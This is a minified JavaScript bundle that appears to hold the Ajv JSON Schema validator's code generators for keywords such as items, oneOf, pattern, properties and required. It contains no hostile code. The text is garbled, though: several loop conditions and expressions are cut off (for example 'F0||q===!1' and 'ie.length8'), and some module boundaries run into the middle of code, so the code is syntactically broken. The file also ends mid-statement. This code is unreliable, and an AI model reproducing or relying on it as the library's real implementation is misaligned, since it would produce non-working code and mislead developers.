_="valid"+y.level,v=e.schema.then,P=e.schema.else,T=v!==void 0&&(e.opts.strictKeywords?typeof v=="object"&&Object.keys(v).length>0||v===!1:e.util.schemaHasRules(v,e.RULES.all)),x=P!==void 0&&(e.opts.strictKeywords?typeof P=="object"&&Object.keys(P).length>0||P===!1:e.util.schemaHasRules(P,e.RULES.all)),R=y.baseId;if(T||x){var I;y.createErrors=!1,y.schema=i,y.schemaPath=f,y.errSchemaPath=d,r+=" var "+c+" = errors; var "+E+" = true; ";var $=e.compositeRule;e.compositeRule=y.compositeRule=!0,r+=" "+e.validate(y)+" ",y.baseId=R,y.createErrors=!0,r+=" errors = "+c+"; if (vErrors !== null) { if ("+c+") vErrors.length = "+c+"; else vErrors = null; } ",e.compositeRule=y.compositeRule=$,T?(r+=" if ("+_+") { ",y.schema=e.schema.then,y.schemaPath=e.schemaPath+".then",y.errSchemaPath=e.errSchemaPath+"/then",r+=" "+e.validate(y)+" ",y.baseId=R,r+=" "+E+" = "+_+"; ",T&&x?(I="ifClause"+n,r+=" var "+I+" = 'then'; "):I="'then'",r+=" } ",x&&(r+=" else { ")):r+=" if (!"+_+") { ",x&&(y.schema=e.schema.else,y.schemaPath=e.schemaPath+".else",y.errSchemaPath=e.errSchemaPath+"/else",r+=" "+e.validate(y)+" ",y.baseId=R,r+=" "+E+" = "+_+"; ",T&&x?(I="ifClause"+n,r+=" var "+I+" = 'else'; "):I="'else'",r+=" } "),r+=" if (!"+E+") { var err = ",e.createErrors!==!1?(r+=" { keyword: 'if' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { failingKeyword: "+I+" } ",e.opts.messages!==!1&&(r+=` , message: 'should match "' + `+I+` + '" schema' `),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ",r+="; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",!e.compositeRule&&h&&(e.async?r+=" throw new ValidationError(vErrors); ":r+=" validate.errors = vErrors; return false; "),r+=" } ",h&&(r+=" else { ")}else h&&(r+=" if (true) { ");return r}});var ui=B((ah,ci)=>{"use strict";ci.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c="errs__"+n,y=e.util.copy(e),_="";y.level++;var v="valid"+y.level,P="i"+n,T=y.dataLevel=e.dataLevel+1,x="data"+T,R=e.baseId;if(r+="var "+c+" = errors;var "+E+";",Array.isArray(i)){var I=e.schema.additionalItems;if(I===!1){r+=" "+E+" = "+m+".length <= "+i.length+"; ";var $=d;d=e.errSchemaPath+"/additionalItems",r+=" if (!"+E+") { ";var V=V||[];V.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'additionalItems' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { limit: "+i.length+" } ",e.opts.messages!==!1&&(r+=" , message: 'should NOT have more than "+i.length+" items' "),e.opts.verbose&&(r+=" , schema: false , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var M=r;r=V.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+M+"]); ":r+=" validate.errors = ["+M+"]; return false; ":r+=" var err = "+M+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" } ",d=$,h&&(_+="}",r+=" else { ")}var A=i;if(A){for(var q,F=-1,j=A.length-1;F0||q===!1:e.util.schemaHasRules(q,e.RULES.all)){r+=" "+v+" = true; if ("+m+".length > "+F+") { ";var O=m+"["+F+"]";y.schema=q,y.schemaPath=f+"["+F+"]",y.errSchemaPath=d+"/"+F,y.errorPath=e.util.getPathExpr(e.errorPath,F,e.opts.jsonPointers,!0),y.dataPathArr[T]=F;var C=e.validate(y);y.baseId=R,e.util.varOccurences(C,x)<2?r+=" "+e.util.varReplace(C,x,O)+" ":r+=" var "+x+" = "+O+"; "+C+" ",r+=" } ",h&&(r+=" if ("+v+") { ",_+="}")}}if(typeof I=="object"&&(e.opts.strictKeywords?typeof I=="object"&&Object.keys(I).length>0||I===!1:e.util.schemaHasRules(I,e.RULES.all))){y.schema=I,y.schemaPath=e.schemaPath+".additionalItems",y.errSchemaPath=e.errSchemaPath+"/additionalItems",r+=" "+v+" = true; if ("+m+".length > "+i.length+") { for (var "+P+" = "+i.length+"; "+P+" < "+m+".length; "+P+"++) { ",y.errorPath=e.util.getPathExpr(e.errorPath,P,e.opts.jsonPointers,!0);var O=m+"["+P+"]";y.dataPathArr[T]=P;var C=e.validate(y);y.baseId=R,e.util.varOccurences(C,x)<2?r+=" "+e.util.varReplace(C,x,O)+" ":r+=" var "+x+" = "+O+"; "+C+" ",h&&(r+=" if (!"+v+") break; "),r+=" } } ",h&&(r+=" if ("+v+") { ",_+="}")}}else if(e.opts.strictKeywords?typeof i=="object"&&Object.keys(i).length>0||i===!1:e.util.schemaHasRules(i,e.RULES.all)){y.schema=i,y.schemaPath=f,y.errSchemaPath=d,r+=" for (var "+P+" = 0; "+P+" < "+m+".length; "+P+"++) { ",y.errorPath=e.util.getPathExpr(e.errorPath,P,e.opts.jsonPointers,!0);var O=m+"["+P+"]";y.dataPathArr[T]=P;var C=e.validate(y);y.baseId=R,e.util.varOccurences(C,x)<2?r+=" "+e.util.varReplace(C,x,O)+" ":r+=" var "+x+" = "+O+"; "+C+" ",h&&(r+=" if (!"+v+") break; "),r+=" }"}return h&&(r+=" "+_+" if ("+c+" == errors) {"),r}});var es=B((sh,di)=>{"use strict";di.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,R,m="data"+(l||""),E=e.opts.$data&&i&&i.$data,c;E?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",c="schema"+n):c=i;var y=t=="maximum",_=y?"exclusiveMaximum":"exclusiveMinimum",v=e.schema[_],P=e.opts.$data&&v&&v.$data,T=y?"<":">",x=y?">":"<",R=void 0;if(!(E||typeof i=="number"||i===void 0))throw new Error(t+" must be number");if(!(P||v===void 0||typeof v=="number"||typeof v=="boolean"))throw new Error(_+" must be number or boolean");if(P){var I=e.util.getData(v.$data,l,e.dataPathArr),$="exclusive"+n,V="exclType"+n,M="exclIsNumber"+n,A="op"+n,q="' + "+A+" + '";r+=" var schemaExcl"+n+" = "+I+"; ",I="schemaExcl"+n,r+=" var "+$+"; var "+V+" = typeof "+I+"; if ("+V+" != 'boolean' && "+V+" != 'undefined' && "+V+" != 'number') { ";var R=_,F=F||[];F.push(r),r="",e.createErrors!==!1?(r+=" { keyword: '"+(R||"_exclusiveLimit")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: {} ",e.opts.messages!==!1&&(r+=" , message: '"+_+" should be boolean' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var j=r;r=F.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+j+"]); ":r+=" validate.errors = ["+j+"]; return false; ":r+=" var err = "+j+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" } else if ( ",E&&(r+=" ("+c+" !== undefined && typeof "+c+" != 'number') || "),r+=" "+V+" == 'number' ? ( ("+$+" = "+c+" === undefined || "+I+" "+T+"= "+c+") ? "+m+" "+x+"= "+I+" : "+m+" "+x+" "+c+" ) : ( ("+$+" = "+I+" === true) ? "+m+" "+x+"= "+c+" : "+m+" "+x+" "+c+" ) || "+m+" !== "+m+") { var op"+n+" = "+$+" ? '"+T+"' : '"+T+"='; ",i===void 0&&(R=_,d=e.errSchemaPath+"/"+_,c=I,E=P)}else{var M=typeof v=="number",q=T;if(M&&E){var A="'"+q+"'";r+=" if ( ",E&&(r+=" ("+c+" !== undefined && typeof "+c+" != 'number') || "),r+=" ( "+c+" === undefined || "+v+" "+T+"= "+c+" ? "+m+" "+x+"= "+v+" : "+m+" "+x+" "+c+" ) || "+m+" !== "+m+") { "}else{M&&i===void 0?($=!0,R=_,d=e.errSchemaPath+"/"+_,c=v,x+="="):(M&&(c=Math[y?"min":"max"](v,i)),v===(M?c:!0)?($=!0,R=_,d=e.errSchemaPath+"/"+_,x+="="):($=!1,q+="="));var A="'"+q+"'";r+=" if ( ",E&&(r+=" ("+c+" !== undefined && typeof "+c+" != 'number') || "),r+=" "+m+" "+x+" "+c+" || "+m+" !== "+m+") { "}}R=R||t;var F=F||[];F.push(r),r="",e.createErrors!==!1?(r+=" { keyword: '"+(R||"_limit")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { comparison: "+A+", limit: "+c+", exclusive: "+$+" } ",e.opts.messages!==!1&&(r+=" , message: 'should be "+q+" ",E?r+="' + "+c:r+=""+c+"'"),e.opts.verbose&&(r+=" , schema: ",E?r+="validate.schema"+f:r+=""+i,r+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var j=r;return r=F.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+j+"]); ":r+=" validate.errors = ["+j+"]; return false; ":r+=" var err = "+j+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" } ",h&&(r+=" else { "),r}});var rs=B((nh,fi)=>{"use strict";fi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,_,m="data"+(l||""),E=e.opts.$data&&i&&i.$data,c;if(E?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",c="schema"+n):c=i,!(E||typeof i=="number"))throw new Error(t+" must be number");var y=t=="maxItems"?">":"<";r+="if ( ",E&&(r+=" ("+c+" !== undefined && typeof "+c+" != 'number') || "),r+=" "+m+".length "+y+" "+c+") { ";var _=t,v=v||[];v.push(r),r="",e.createErrors!==!1?(r+=" { keyword: '"+(_||"_limitItems")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { limit: "+c+" } ",e.opts.messages!==!1&&(r+=" , message: 'should NOT have ",t=="maxItems"?r+="more":r+="fewer",r+=" than ",E?r+="' + "+c+" + '":r+=""+i,r+=" items' "),e.opts.verbose&&(r+=" , schema: ",E?r+="validate.schema"+f:r+=""+i,r+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var P=r;return r=v.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+P+"]); ":r+=" validate.errors = ["+P+"]; return false; ":r+=" var err = "+P+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+="} ",h&&(r+=" else { "),r}});var ts=B((ih,hi)=>{"use strict";hi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,_,m="data"+(l||""),E=e.opts.$data&&i&&i.$data,c;if(E?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",c="schema"+n):c=i,!(E||typeof i=="number"))throw new Error(t+" must be number");var y=t=="maxLength"?">":"<";r+="if ( ",E&&(r+=" ("+c+" !== undefined && typeof "+c+" != 'number') || "),e.opts.unicode===!1?r+=" "+m+".length ":r+=" ucs2length("+m+") ",r+=" "+y+" "+c+") { ";var _=t,v=v||[];v.push(r),r="",e.createErrors!==!1?(r+=" { keyword: '"+(_||"_limitLength")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { limit: "+c+" } ",e.opts.messages!==!1&&(r+=" , message: 'should NOT be ",t=="maxLength"?r+="longer":r+="shorter",r+=" than ",E?r+="' + "+c+" + '":r+=""+i,r+=" characters' "),e.opts.verbose&&(r+=" , schema: ",E?r+="validate.schema"+f:r+=""+i,r+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var P=r;return r=v.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+P+"]); ":r+=" validate.errors = ["+P+"]; return false; ":r+=" var err = "+P+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+="} ",h&&(r+=" else { "),r}});var as=B((oh,pi)=>{"use strict";pi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,_,m="data"+(l||""),E=e.opts.$data&&i&&i.$data,c;if(E?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",c="schema"+n):c=i,!(E||typeof i=="number"))throw new Error(t+" must be number");var y=t=="maxProperties"?">":"<";r+="if ( ",E&&(r+=" ("+c+" !== undefined && typeof "+c+" != 'number') || "),r+=" Object.keys("+m+").length "+y+" "+c+") { ";var _=t,v=v||[];v.push(r),r="",e.createErrors!==!1?(r+=" { keyword: '"+(_||"_limitProperties")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { limit: "+c+" } ",e.opts.messages!==!1&&(r+=" , message: 'should NOT have ",t=="maxProperties"?r+="more":r+="fewer",r+=" than ",E?r+="' + "+c+" + '":r+=""+i,r+=" properties' "),e.opts.verbose&&(r+=" , schema: ",E?r+="validate.schema"+f:r+=""+i,r+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var P=r;return r=v.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+P+"]); ":r+=" validate.errors = ["+P+"]; return false; ":r+=" var err = "+P+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+="} ",h&&(r+=" else { "),r}});var vi=B((lh,mi)=>{"use strict";mi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E=e.opts.$data&&i&&i.$data,c;if(E?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",c="schema"+n):c=i,!(E||typeof i=="number"))throw new Error(t+" must be number");r+="var division"+n+";if (",E&&(r+=" "+c+" !== undefined && ( typeof "+c+" != 'number' || "),r+=" (division"+n+" = "+m+" / "+c+", ",e.opts.multipleOfPrecision?r+=" Math.abs(Math.round(division"+n+") - division"+n+") > 1e-"+e.opts.multipleOfPrecision+" ":r+=" division"+n+" !== parseInt(division"+n+") ",r+=" ) ",E&&(r+=" ) "),r+=" ) { ";var y=y||[];y.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'multipleOf' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { multipleOf: "+c+" } ",e.opts.messages!==!1&&(r+=" , message: 'should be multiple of ",E?r+="' + "+c:r+=""+c+"'"),e.opts.verbose&&(r+=" , schema: ",E?r+="validate.schema"+f:r+=""+i,r+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var _=r;return r=y.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+_+"]); ":r+=" validate.errors = ["+_+"]; return false; ":r+=" var err = "+_+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+="} ",h&&(r+=" else { "),r}});var yi=B((ch,gi)=>{"use strict";gi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="errs__"+n,c=e.util.copy(e);c.level++;var y="valid"+c.level;if(e.opts.strictKeywords?typeof i=="object"&&Object.keys(i).length>0||i===!1:e.util.schemaHasRules(i,e.RULES.all)){c.schema=i,c.schemaPath=f,c.errSchemaPath=d,r+=" var "+E+" = errors; ";var _=e.compositeRule;e.compositeRule=c.compositeRule=!0,c.createErrors=!1;var v;c.opts.allErrors&&(v=c.opts.allErrors,c.opts.allErrors=!1),r+=" "+e.validate(c)+" ",c.createErrors=!0,v&&(c.opts.allErrors=v),e.compositeRule=c.compositeRule=_,r+=" if ("+y+") { ";var P=P||[];P.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'not' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: {} ",e.opts.messages!==!1&&(r+=" , message: 'should NOT be valid' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var T=r;r=P.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+T+"]); ":r+=" validate.errors = ["+T+"]; return false; ":r+=" var err = "+T+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" } else { errors = "+E+"; if (vErrors !== null) { if ("+E+") vErrors.length = "+E+"; else vErrors = null; } ",e.opts.allErrors&&(r+=" } ")}else r+=" var err = ",e.createErrors!==!1?(r+=" { keyword: 'not' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: {} ",e.opts.messages!==!1&&(r+=" , message: 'should NOT be valid' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ",r+="; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",h&&(r+=" if (false) { ");return r}});var Ei=B((uh,_i)=>{"use strict";_i.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c="errs__"+n,y=e.util.copy(e),_="";y.level++;var v="valid"+y.level,P=y.baseId,T="prevValid"+n,x="passingSchemas"+n;r+="var "+c+" = errors , "+T+" = false , "+E+" = false , "+x+" = null; ";var R=e.compositeRule;e.compositeRule=y.compositeRule=!0;var I=i;if(I)for(var $,V=-1,M=I.length-1;V0||$===!1:e.util.schemaHasRules($,e.RULES.all))?(y.schema=$,y.schemaPath=f+"["+V+"]",y.errSchemaPath=d+"/"+V,r+=" "+e.validate(y)+" ",y.baseId=P):r+=" var "+v+" = true; ",V&&(r+=" if ("+v+" && "+T+") { "+E+" = false; "+x+" = ["+x+", "+V+"]; } else { ",_+="}"),r+=" if ("+v+") { "+E+" = "+T+" = true; "+x+" = "+V+"; }";return e.compositeRule=y.compositeRule=R,r+=""+_+"if (!"+E+") { var err = ",e.createErrors!==!1?(r+=" { keyword: 'oneOf' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { passingSchemas: "+x+" } ",e.opts.messages!==!1&&(r+=" , message: 'should match exactly one schema in oneOf' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ",r+="; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",!e.compositeRule&&h&&(e.async?r+=" throw new ValidationError(vErrors); ":r+=" validate.errors = vErrors; return false; "),r+="} else { errors = "+c+"; if (vErrors !== null) { if ("+c+") vErrors.length = "+c+"; else vErrors = null; }",e.opts.allErrors&&(r+=" } "),r}});var bi=B((dh,Si)=>{"use strict";Si.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E=e.opts.$data&&i&&i.$data,c;E?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",c="schema"+n):c=i;var y=E?"(new RegExp("+c+"))":e.usePattern(i);r+="if ( ",E&&(r+=" ("+c+" !== undefined && typeof "+c+" != 'string') || "),r+=" !"+y+".test("+m+") ) { ";var _=_||[];_.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'pattern' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { pattern: ",E?r+=""+c:r+=""+e.util.toQuotedString(i),r+=" } ",e.opts.messages!==!1&&(r+=` , message: 'should match pattern "`,E?r+="' + "+c+" + '":r+=""+e.util.escapeQuotes(i),r+=`"' `),e.opts.verbose&&(r+=" , schema: ",E?r+="validate.schema"+f:r+=""+e.util.toQuotedString(i),r+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var v=r;return r=_.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+v+"]); ":r+=" validate.errors = ["+v+"]; return false; ":r+=" var err = "+v+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+="} ",h&&(r+=" else { "),r}});var xi=B((fh,Pi)=>{"use strict";Pi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="errs__"+n,c=e.util.copy(e),y="";c.level++;var _="valid"+c.level,v="key"+n,P="idx"+n,T=c.dataLevel=e.dataLevel+1,x="data"+T,R="dataProperties"+n,I=Object.keys(i||{}).filter(X),$=e.schema.patternProperties||{},V=Object.keys($).filter(X),M=e.schema.additionalProperties,A=I.length||V.length,q=M===!1,F=typeof M=="object"&&Object.keys(M).length,j=e.opts.removeAdditional,O=q||F||j,C=e.opts.ownProperties,L=e.baseId,ie=e.schema.required;if(ie&&!(e.opts.$data&&ie.$data)&&ie.length8)r+=" || validate.schema"+f+".hasOwnProperty("+v+") ";else{var G=I;if(G)for(var H,fe=-1,Pe=G.length-1;fe0||Se===!1:e.util.schemaHasRules(Se,e.RULES.all)){var Le=e.util.getProperty(H),xe=m+Le,$e=pr&&Se.default!==void 0;c.schema=Se,c.schemaPath=f+Le,c.errSchemaPath=d+"/"+e.util.escapeFragment(H),c.errorPath=e.util.getPath(e.errorPath,H,e.opts.jsonPointers),c.dataPathArr[T]=e.util.toQuotedString(H);var se=e.validate(c);if(c.baseId=L,e.util.varOccurences(se,x)<2){se=e.util.varReplace(se,x,xe);var Oe=xe}else{var Oe=x;r+=" var "+x+" = "+xe+"; "}if($e)r+=" "+se+" ";else{if(J&&J[H]){r+=" if ( "+Oe+" === undefined ",C&&(r+=" || ! Object.prototype.hasOwnProperty.call("+m+", '"+e.util.escapeQuotes(H)+"') "),r+=") { "+_+" = false; ";var Te=e.errorPath,sr=d,Ge=e.util.escapeQuotes(H);e.opts._errorDataPathProperty&&(e.errorPath=e.util.getPath(Te,H,e.opts.jsonPointers)),d=e.errSchemaPath+"/required";var ge=ge||[];ge.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'required' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { missingProperty: '"+Ge+"' } ",e.opts.messages!==!1&&(r+=" , message: '",e.opts._errorDataPathProperty?r+="is a required property":r+="should have required property \\'"+Ge+"\\'",r+="' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var he=r;r=ge.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+he+"]); ":r+=" validate.errors = ["+he+"]; return false; ":r+=" var err = "+he+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",d=sr,e.errorPath=Te,r+=" } else { "}else h?(r+=" if ( "+Oe+" === undefined ",C&&(r+=" || ! Object.prototype.hasOwnProperty.call("+m+", '"+e.util.escapeQuotes(H)+"') "),r+=") { "+_+" = true; } else { "):(r+=" if ("+Oe+" !== undefined ",C&&(r+=" && Object.prototype.hasOwnProperty.call("+m+", '"+e.util.escapeQuotes(H)+"') "),r+=" ) { ");r+=" "+se+" } "}}h&&(r+=" if ("+_+") { ",y+="}")}}if(V.length){var ke=V;if(ke)for(var te,Rt=-1,ma=ke.length-1;Rt0||Se===!1:e.util.schemaHasRules(Se,e.RULES.all)){c.schema=Se,c.schemaPath=e.schemaPath+".patternProperties"+e.util.getProperty(te),c.errSchemaPath=e.errSchemaPath+"/patternProperties/"+e.util.escapeFragment(te),C?r+=" "+R+" = "+R+" || Object.keys("+m+"); for (var "+P+"=0; "+P+"<"+R+".length; "+P+"++) { var "+v+" = "+R+"["+P+"]; ":r+=" for (var "+v+" in "+m+") { ",r+=" if ("+e.usePattern(te)+".test("+v+")) { ",c.errorPath=e.util.getPathExpr(e.errorPath,v,e.opts.jsonPointers);var xe=m+"["+v+"]";c.dataPathArr[T]=v;var se=e.validate(c);c.baseId=L,e.util.varOccurences(se,x)<2?r+=" "+e.util.varReplace(se,x,xe)+" ":r+=" var "+x+" = "+xe+"; "+se+" ",h&&(r+=" if (!"+_+") break; "),r+=" } ",h&&(r+=" else "+_+" = true; "),r+=" } ",h&&(r+=" if ("+_+") { ",y+="}")}}}return h&&(r+=" "+y+" if ("+E+" == errors) {"),r}});var Ri=B((hh,wi)=>{"use strict";wi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="errs__"+n,c=e.util.copy(e),y="";c.level++;var _="valid"+c.level;if(r+="var "+E+" = errors;",e.opts.strictKeywords?typeof i=="object"&&Object.keys(i).length>0||i===!1:e.util.schemaHasRules(i,e.RULES.all)){c.schema=i,c.schemaPath=f,c.errSchemaPath=d;var v="key"+n,P="idx"+n,T="i"+n,x="' + "+v+" + '",R=c.dataLevel=e.dataLevel+1,I="data"+R,$="dataProperties"+n,V=e.opts.ownProperties,M=e.baseId;V&&(r+=" var "+$+" = undefined; "),V?r+=" "+$+" = "+$+" || Object.keys("+m+"); for (var "+P+"=0; "+P+"<"+$+".length; "+P+"++) { var "+v+" = "+$+"["+P+"]; ":r+=" for (var "+v+" in "+m+") { ",r+=" var startErrs"+n+" = errors; ";var A=v,q=e.compositeRule;e.compositeRule=c.compositeRule=!0;var F=e.validate(c);c.baseId=M,e.util.varOccurences(F,I)<2?r+=" "+e.util.varReplace(F,I,A)+" ":r+=" var "+I+" = "+A+"; "+F+" ",e.compositeRule=c.compositeRule=q,r+=" if (!"+_+") { for (var "+T+"=startErrs"+n+"; "+T+"{"use strict";Ti.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c=e.opts.$data&&i&&i.$data,y;c?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",y="schema"+n):y=i;var _="schema"+n;if(!c)if(i.length0||I===!1:e.util.schemaHasRules(I,e.RULES.all))||(v[v.length]=T)}}else var v=i;if(c||v.length){var $=e.errorPath,V=c||v.length>=e.opts.loopRequired,M=e.opts.ownProperties;if(h)if(r+=" var missing"+n+"; ",V){c||(r+=" var "+_+" = validate.schema"+f+"; ");var A="i"+n,q="schema"+n+"["+A+"]",F="' + "+q+" + '";e.opts._errorDataPathProperty&&(e.errorPath=e.util.getPathExpr($,q,e.opts.jsonPointers)),r+=" var "+E+" = true; ",c&&(r+=" if (schema"+n+" === undefined) "+E+" = true; else if (!Array.isArray(schema"+n+")) "+E+" = false; else {"),r+=" for (var "+A+" = 0; "+A+" < "+_+".length; "+A+"++) { "+E+" = "+m+"["+_+"["+A+"]] !== undefined ",M&&(r+=" && Object.prototype.hasOwnProperty.call("+m+", "+_+"["+A+"]) "),r+="; if (!"+E+") break; } ",c&&(r+=" } "),r+=" if (!"+E+") { ";var j=j||[];j.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'required' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { missingProperty: '"+F+"' } ",e.opts.messages!==!1&&(r+=" , message: '",e.opts._errorDataPathProperty?r+="is a required property":r+="should have required property \\'"+F+"\\'",r+="' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var O=r;r=j.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+O+"]); ":r+=" validate.errors = ["+O+"]; return false; ":r+=" var err = "+O+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" } else { "}else{r+=" if ( ";var C=v;if(C)for(var L,A=-1,ie=C.length-1;A{"use strict";Ii.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c=e.opts.$data&&i&&i.$data,y;if(c?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; 